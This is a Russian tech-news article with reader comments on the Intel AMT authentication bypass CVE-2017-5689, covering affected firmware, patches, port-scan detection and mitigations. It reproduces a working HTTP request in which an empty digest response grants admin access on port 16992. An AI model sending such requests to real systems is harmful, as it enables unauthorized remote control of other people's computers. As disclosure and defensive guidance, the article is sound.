1 мая 2017 года компания Intel сообщила о критической уязвимости в технологии Active Management Technology (AMT) (уязвимость INTEL-SA-00075, она же CVE-2017-5689). Уязвимость нашёл Максим Малютин из компании Embedi, но держал её в секрете по просьбе Intel до официального анонса.
Intel AMT — это аппаратная технология, предоставляющая удалённый и внеполосный (по независимому вспомогательному каналу TCP/IP) доступ для управления настройками и безопасностью компьютера независимо от состояния питания (удалённое включение/выключение компьютера) и состояния ОС. Технология интегрирована в чипсет. Если использовать её как антируткит для сканирования оперативной памяти и накопителей ПК, то не существует способов обойти такую защиту. Хуже того, удалённые запросы к AMT не заносятся в системный журнал.
Сейчас запрос к Shodan выдаёт более 8500 систем с открытыми портами AMT. Для некоторых прошивок BIOS до сих пор не вышли патчи, исправляющие баг в AMT.
Технология AMT позволяет системным администраторам в удалённом режиме осуществлять различные действия в системе: включать выключенные компьютеры, изменять код загрузчика, управлять устройствами ввода, исполняемыми программами и т. д. Фактически, AMT позволяет в удалённом режиме выполнять все те действия, которые вы можете сделать, имея физический доступ к ПК.
Прочитав описание технологии, вы можете начать фантазировать, какие возможности получает хакер, имея удалённый доступ к выключенному компьютеру с технологией AMT. Так вот, ваши фантазии оказались правдой. Удалённый доступ к AMT предоставляется через веб-интерфейс в браузере. Как выяснил Максим, для дайджест-аутентификации доступа подходит любой криптографический хеш или вовсе никакого. То есть соответствующее поле а форме авторизации можно вообще оставить пустым.
Это даже не похоже на бекдор, потому что кто будет реализовывать его таким топорным способом?
Уязвимы системы после 2010-2011 гг выпуска (список уязвимых прошивок см. ниже). Это на 100% не RCE, а скорее логическая уязвимость. Максим Малютин считает, что есть несколько векторов атаки, как злоумышленник может использовать эту уязвимость, возможно, даже на системах Intel без поддержки Intel AMT.
«Аутентификация по-прежнему работает, — объяснил Малютин. — Мы просто нашли способ полного её обхода».
Через веб-браузер можно получить полный доступ к функциям AMT, как будто вызнаете админский пароль в системе. Вот как это делается с помощью локального прокси на 127.0.0.1:16992:
GET /index.htm HTTP/1.1
Host: 127.0.0.1:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
realm="Digest:048A0000000000000000000000000000",
nonce="qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n",stale="false",qop="auth"
Content-Type: text/html
Server: AMT
Content-Length: 678
Connection: close
GET /index.htm HTTP/1.1
Host: 127.0.0.1:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Authorization: Digest username="admin",
realm="Digest:048A0000000000000000000000000000",
nonce="qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n", uri="/index.htm", response="",
qop=auth, nc=00000001, cnonce="60513ab58858482c"
HTTP/1.1 200 OK
Date: Thu, 4 May 2017 16:09:17 GMT
Server: AMT
Content-Type: text/html
Transfer-Encoding: chunked
Cache-Control: no cache
Expires: Thu, 26 Oct 1995 00:00:00 GMT
04E6
Через несколько дней после разглашения информации компания Tenact выпустила эксплойт для эксплуатации критической уязвимости с повышением привилегий AMT. Компания предлагала использовать этот инструмент для обнаружения уязвимых систем в своей сети. Чтобы сисадмины знали, где нужно установить новые версии прошивки. Эксплойт реализован в виде плагина Nessus.
В те же дни официальные сообщения безопасности для своих клиентов выпустили крупнейшие производители серверов и персональных компьютеров: сообщение от HP, от Dell, от Lenovo, от Fujitsu. Там будет подробная информация об уязвимых прошивках и появятся ссылки на обновленные версии, как только они станут доступны.
Список пропатченных прошивок от Intel
Уязвимые версии прошивки |
Соответствующее поколение CPU |
Пропатченные прошивки |
---|---|---|
6.0.xx.xxxx |
1st Gen Core |
6.2.61.3535 |
6.1.xx.xxxx |
6.2.61.3535 |
|
6.2.xx.xxxx |
6.2.61.3535 |
|
7.0.xx.xxxx |
2nd Gen Core |
7.1.91.3272 |
7.1.xx.xxxx |
7.1.91.3272 |
|
8.0.xx.xxxx |
3rd Gen Core |
8.1.71.3608 |
8.1.xx.xxxx |
8.1.71.3608 |
|
9.0.xx.xxxx |
4th Gen Core |
9.1.41.3024 |
9.1.xx.xxxx |
9.1.41.3024 |
|
9.5.xx.xxxx |
9.5.61.3012 |
|
10.0.xx.xxxx |
5th Gen Core |
10.0.55.3000 |
11.0.xx.xxxx |
6th Gen Core |
11.0.25.3001 11.0.22.3001 11.0.18.3003 |
11.5.xx.xxxx |
7th Gen Core |
11.6.27.3264 |
11.6.xx.xxxx |
11.6.27.3264 11.6.12.3202 |
Комментарии (48)
ARD8S
08.05.2017 13:13На системах с Linux локально/удалённо работает? Как проверить?
ttf
08.05.2017 13:52В качестве первичного экспресс-анализа, произвести сканирование сети на предмет наличия открытых портов TCP:16992-16995, 623, 664 на рабочих станциях, серверах и других узлах сети.
www.infosec.ru/news/10047MikailBag
08.05.2017 17:27Я правильно понимаю, что если эти порты не открываются, то бояться нечего?
apple_rom
09.05.2017 09:44+1В основном случае достаточно просканировать порты 16992/16993 (редиректные порты 16994/16995 и мониторинговые 623/664 не важны).
Только вот с «просканировать» могут возникнуть вопросы, ибо сделать локально будет недостаточно, т.к. сконфигурированная AMT-система может управляться удалённо с выключенным локальным агентом (LMS) и такие порты недоступны с проверяемого компьютера, а только из локальной сети. Но для этого нужно точно знать, что речь идёт именно о AMT-варианте, который в простом случае идентифицируется характерной наклейкой а-ля «vPro support» на вашем компьютере/ноутбуке/планшете.
d00kie
08.05.2017 14:02Линукс тут не причем… проверить сканом портов и проверкой бюллютеней от вендора.
Taciturn
08.05.2017 14:54В те же дни официальные сообщения безопасности для своих клиентов выпустили крупнейшие производители серверов и персональных компьютеров: сообщение от HP, от Dell, от Lenovo, от Fujitsu. Там подробная информация об уязвимых прошивках и ссылки на обновленные версии.
Где, где хоть одна обновлённая версия?! Вы бы хоть сами эти ссылки открыли — в качестве решения там только полное отключения AMT, никаких обновлений никто не выложил.Taciturn
08.05.2017 15:03-1Хотя нет. Fujitsu действительно выложили. Правда почему-то далеко не для всех уязвимых систем. Но хоть как-то.
Находим нужную версию прошивки в списке, идём на страницу загрузки, скачиваем. По факту в рамках версии они универсальные — используя файлы с сайта Fujitsu вполне можно решать проблемы на платах HP/Intel.
willyd
09.05.2017 09:58К примеру вот.
http://www8.hp.com/us/en/intelmanageabilityissue.html
Вы наверное просто бюллетни смотрели.
fukkit
08.05.2017 16:51Кто-нибудь может вкратце объяснить, почему рынок терпит такое количество низкоуровневых вендорских бэкдоров, подаваемых под видом «технологий»?
msts2017
08.05.2017 20:41+1он не терпит, он удовлетворяет спрос.
Alexey2005
08.05.2017 23:54А что, у нас есть спрос на IntelAMT и тому подобные бессмысленные технологии? Кто их вообще использует? Я таких людей и не видел даже никогда.
А ещё есть UEFI, SecureBoot и куча подобного кошмара, которые создавались для разработчиков (главным образом осей и прошивок, чтоб на кодерах экономить), а пользователям от них одни только проблемы.googol
09.05.2017 03:10UEFI/SecureBoot это примеры переусложненных решений. Мне сложно понять как адекватный инженер может создать такое. Есть же Coreboot ну отчего же не взять его за основу прошивок для материнок?
msts2017
09.05.2017 10:18+1есть конечно, дистанционное обновление «биос»а вообще священный грааль железячников, попробуй об беги 20тыс. компов.
аутсорсинг обслуживания железа короче.fukkit
09.05.2017 11:56Спасибо!
Ещё один обывательский вопрос, который меня терзает: что за необходимость обновлять именно биос? Если дело в каких-то чипсето-специфичных функциях, почему работой с ними не занимается операционная система через условный «драйвер», который гораздо легче обновить с учётом всех заложенных в ОС механизмов разделения прав и контроля доступа?
Вообще мне не понятна современная тенденция выводить высокоуровневые функции работы с железом за пределы ОС. С учётом относительно более высокой стоимости исправления ошибки в «прошивке» это выглядит странным и нелогичным.dartraiden
09.05.2017 14:03+1AMT это не только «обновить биос».
Это удалённое управление а-ля KVM.fukkit
09.05.2017 16:06-1Отличная ссылка! Эволюция маркетингового булшита там хорошо видна.
WakeOnLAN был хорош, возможно, на нем и следовало остановиться, чтобы не выдумывать недооперационку с суперправами доступа к железу.willyd
09.05.2017 17:38+1Между вашим мнением и мнением своих корпоративных клиентов Интел должна выбрать именно ваше?!
Функционал по идее должен давать экономию в обслуживании больших (более 1к) парков пк. Скорее всего именно так он и задумывался. И возможно, что кто-то и пользуется большинством фич.fukkit
09.05.2017 18:04Лично мне Интел ничего не должна, но если уж она берётся тянуть в свои кривые прошивки функции операционной системы, есть к ней 2 большие просьбы:
1. Чуть более ответственно обращаться с функцией strncmp
2. Предоставить возможность аппаратно отключить небезопасные функции, такие например, как прямое взаимодействие своих зондов с сетевыми картами, прозрачный перехват пакетов и горячая прошивка чего либо, напрямую из сети поступившего.willyd
09.05.2017 19:231. Как по мне, это обычная ошибка при разработке и недостаточное тестирование или его отсутствие. Возможно, что виновные будет призваны на ковер, поскольку в итоге ошибка привела к критической уязвимости множества систем.
2. Ну смысл технологии в этом и заключался. Там, кстати, есть подписанные логи, что бы контролировать доступ и изменения, и ACL, удаленный доступ можно тоже отключить. Вроде как и обновлением прошивок можно управлять.
dartraiden
09.05.2017 19:53+1и горячая прошивка чего либо, напрямую из сети поступившего
на современной микросхеме SPI хранится сразу несколько прошивок и управляют ей сразу несколько мастеров, каждый из которых хранит в своем регионе изменяющиеся во время загрузки и нормально работы данные, и если всю микросхему разом защитить от записи джампером, то все эти модифицируемые данные придется выносить в CMOS SRAM (15 лет назад именно там они и хранились), к которой очень просто получить доступ через CPU IO-порты 70h/71h или 74h/75h и у которой никаких защитных механизмов нет, а сама она в заметных объемах (256Кб, которые сейчас используют большая часть реализаций UEFI, а ведь есть еще ME, GbE и EC) стоит как самолет.
источник
Можено попробовать разнести модифицируемые часто и модифицируемые только при обновлении данные по разным SPI-микросхемам и защитить «джампером» последнюю, но это удорожает производство и разработку платы и прошивки, поэтому массовый рынок этим не заморачивается и, скорее всего, никогда не будет.
miga
08.05.2017 17:25+1Кстати, суть уязвимости очень проста —
if(strncmp(computed_response, user_response, response_length)) exit(0x99);
Куда программиста ни целуй — всюду задница.Lertmind
08.05.2017 18:28+4Вы так написали, будто ошибка видна без контекста, но проблема в том, что значение response_length — это длина user_response вместо computed_response.
apple_rom
08.05.2017 17:55+4Несколько комментариев по вышеописанной уязвимости Intel AMT. Несмотря на действительно болезненную и досадную ошибку «беспарольного доступа», затрагивающую все AMT6+ системы, нужно отметить, что:
- Технология Intel AMT должна быть проинициализирована/сконфигурирована (по умолчанию AMT находится в состоянии unconfigured)
- Через AMT нельзя устанавливать и как-то манипулировать установленным на компьютере ПО (без специально предварительно установленного для такой процедуры дополнительного ПО с поддержкой Intel AMT, предназначенного для таких целей)
- Удалённая загрузка (IDE-R) с помощью Intel AMT не самое простое дело (а главное — проблемное), потому говорить об этом как о уязвимости — нужно иметь действительно хорошую фантазию
- Самый реальный ущерб и неприятность от потенциального доступа с использованием данной дыры — это баловство взломщика, который может включить/выключить/перезагрузить компьютер
- Заметить доступ с использованием Intel AMT KVM на взломанный компьютер можно достаточно просто — по моргающей рамке вокруг экрана и соответствующем предупреждении в System Tray (если стоит IMSS)
- Если кто-то используя данную дырку зайдёт и изменит ваш АМТ-админский пароль, с помощью той же дыры вы сможете изменить его повторно (после чего см. следующий пункт)
- Защититься от уязвимости можно просто — добавив аутентификацию по сертификатам (парольная защита — это прошлый век) и отключив доступ по http (порт 16992) в ностройках Intel AMT
willyd
09.05.2017 20:22+1Защититься от уязвимости можно просто — добавив аутентификацию по сертификатам (парольная защита — это прошлый век) и отключив доступ по http (порт 16992) в ностройках Intel AMT
Читал как была обнаружена уязвимость и основным основным фактор, который заставил копать в этом направлении была документация AMT:
Intel AMT supports both Digest and Kerberos authentication…
An exception to this is the admin account, which always uses digest authentication.
Continuous use of digest authentication implies that each HTTP request must be sent twice, since
the first attempt results in a 401 Digest challenge response.
То есть защититься можно только ограничив или отключив доступ по http?apple_rom
09.05.2017 21:09+1Смотря о чём речь. Если речь о системе с поддержкой Intel AMT, то защититься можно:
- Отключив AMT, но теоретически и по опыту это может иметь проблемы — условно говоря BIOS пишут вендоры, а Intel предоставляет им готовый модуль в виде MEBx, что для них по сути «чёрный ящик» со всеми вытекающими.
- Расконфигурировав AMT, но теоретически (и точно практически) можно запустить локальное конфигурирования с помощью функции HostBasedSetup, как минимум в клиентский режим (если он не отключён).
- Включив TLS (порт АМТ 16993), отключив HTTP (порт АМТ 16992) и добавив к дефолтной парольной защите аутентификацию по сертификатам и тогда прежде чем будет запрошен пароль, произойдёт запрос на клиентский сертификат, а если его нет — соединение не будет установлено (т.е. не произойдёт запрос «дырявого» пароля).
Если же у вашей системы нет поддержки Intel AMT, то можно не беспокоиться, т.к. у неё не будет доступа («аппаратного» — через Intel ME в так называемом outbound — внеполосном режиме, когда трафик перехыватывается Intel ME/AMT и он не доходит до ОС) по сети через 16992/16993, т.к. такие порты лишь у Intel AMT (а у Intel SBT нет).willyd
09.05.2017 22:44У моей есть системы есть AMT.
Но в MEBx попасть я не могу, порты недоступны, по dhcp никто не светиться, выключенный ПК не занимает сетевой порт.
Lsh
08.05.2017 18:08Если у меня по адресу http://127.0.0.1:16992/index.htm написано: «Web browser access to Intel® Small Business Technology is disabled on this computer, or the page in the address bar is unavailable.», а утилита для проверки говорит «the System is Vulnerable», то уязвимость таки есть или таки нет?
Материнка MSI MS-7923 на H97.
И как мне самому этой через эту штуку порулить своим компом?
(чисто интересно)
Извиняюсь за нубские вопросы.apple_rom
08.05.2017 20:00+1Для того, чтобы «рулить своим компом», требуется наличие поддержки Intel AMT, а не Intel SBT (SBA), которая в случае материнских плат требует чипсета Qxx (например, Q87 или Q170).
Lsh
08.05.2017 22:04Похоже, что все элементы руления там могут быть и на других чипсетах, только выключенные.
https://habrahabr.ru/company/dsec/blog/278549/#comment_8793723apple_rom
09.05.2017 09:12+1Конечно «могут быть», т.к. Intel ME это «движок», а Intel AMT — это модуль («плагин»), выполняющийся на таком движке. Однако этот модуль (Intel AMT) должен быть в прошивке, а он достаточно объёмный (~5MB). Кроме того другие компоненты — процессор, сетевые компоненты (Ethernet/WiFi), управление питанием должны также иметь компоненты, соответствующие работе Intel AMT.
Потому «могут быть и на других чипсетах, только выключенные» — некорректная формулировка. Если утрировать, то чипсеты Qxx — это «полная версия», а все остальные — версии разной степени урезанности от полной, в том числе это касается и Intel AMT.
И, наконец, потому не «выключенные», а «не включённые», таки это разные вещи.
pnetmon
08.05.2017 20:01+1Утилита кажется тупо смотрит версию ME на материнской плате.
Тоже H97 только Гигабайт H97-D3H, такой же ответ по адресу.
На хабре была ссылка https://habrahabr.ru/company/kaspersky/blog/328100/#comment_10206766 если перейти там по ссылке то там можно посмотреть версию МЕ, ну при желании обновить — но сама программа и прошивка неофициальные и все на собственный риск. Потребуется скачать две ссылки (только у меня встала версия 5М, а не 1.5M)
Обновил, утилита от Intel показывает
Risk Assessment
Based on the version of the ME, the System is Not Vulnerable (verify configuration).
If Vulnerable, contact your OEM for support and remediation of this system.
…
ME Information
Version: 9.1.41.3024
SKU: Intel® Small Business Advantage(SBA)
State: Not Provisioned
Driver installation found: True
EHBC Enabled: False
LMS service state: Running
microLMS service state: NotPresent
Но повторяю — по адресу такой же ответ «Web browser access to Intel® Small Business Technology is disabled on this computer, or the page in the address bar is unavailable.», а не как на первой картинке поста.
satter
08.05.2017 20:36+3Спросил у supermicro будет ли обновление для моей X9 платы:
Our team is working on this BIOS update in order to fix this issue. Once the BIOS is ready, we'll post in our website immediately. The target release date will be by the end of this month.
pnetmon
На хабре-гигтайаме новость и обсуждение вначале тут https://habrahabr.ru/company/kaspersky/blog/328100/ а то тут только ATM упомянут, а проблема что показала
и в другом механизме — ME
dartraiden
Проблема в ME, но эксплуатируется она на системах, где доступна AMT, иначе указанные порты никто не слушает.
http://vpro.by/cve-2017-5689-poyasneniya-k-uyazvimosti-intel-amt-ot-20170501
AMT это, грубо говоря, удалённое управление, основанное на возможностях ME.
pnetmon
Запустил утилиту на потребительской плате на H97 — ахтунг уязвима, т.к. ME прошита 9.1.25… Прошил на 9.1.41…, запустил утилиту — не уязвима.
А как технологию AMT плата не поддерживала, так и не поддерживает.
Так что перед проверкой утилитой можно и прочитать
https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr
Step 1: Determine if you have an Intel® AMT, Intel® SBA, or Intel® ISM capable system. If you determine that you do not have an Intel® AMT, Intel® SBA, or Intel® ISM capable system then no further action is required.
dartraiden
Очень странно, может, утилита ориентируется исключительно на версию ME?
Наличие бага и возможность его эксплуатации — это разные вещи. Тут вот тоже говорится "требуется, чтобы технология AMT уже была проинициализирована/сконфигурирована."
dartraiden
Да, я был прав.
Формально, уязвимость есть, но эксплуатация её с и без AMT — это совершенно разные вещи.
pnetmon
Об этом я и говорю. У Интела первым делом стоит проверить наличие технологии, а только потом запускать утилиту проверки.
Если почитать первое сообщение на хабре и сообщение Интел (https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr) то эксплуатацией без АТМ тоже пугают.
А если уязвимость есть и без ATM то возможно желательно ее закрыть
У меня есть ноутбуки Lenovo ThinkPad 220-240 которые в бюллетене (вот какой там чипсет? а то любят писать подвержены на чипсете Q...), 10 мая придется шерстить по всем спискам. Но проблема что производители могут и забить на старые модели, не говоря про производителей чисто материнских плат.
dartraiden
Прошивку ME можно обновить самостоятельно. Естественно, лучше предварительно заиметь программатор на случай, если что-то пойдёт не так.
pnetmon
Да. Так я ее обновил, т.к. производитель перестал выпускать BIOS в 2015 году. Почему-то прошивка установилась 5M, а не потребительская 1.5М (у других на том форуме было похожее) Вот только тот сайт никак не связан с Intel и на сайте Intel ее не найти. В продакшине такое обновление с левых источников несколько рисковано....
Улыбнуло все таки у Lenovo датой выпуска обновлений
ThinkCentre M93/M93p Tiny Affected Target availability 5/17/2017
ThinkPad X230, X230i Affected 8.1.71.3608 Target availability 6/17/2017
ThinkPad X240 Affected 9.5.61.3012 Target availability 6/17/2017
Думаем одно ME обновить, а разница в выпуске у Lenovo в месяц, или в полтора от объявления ....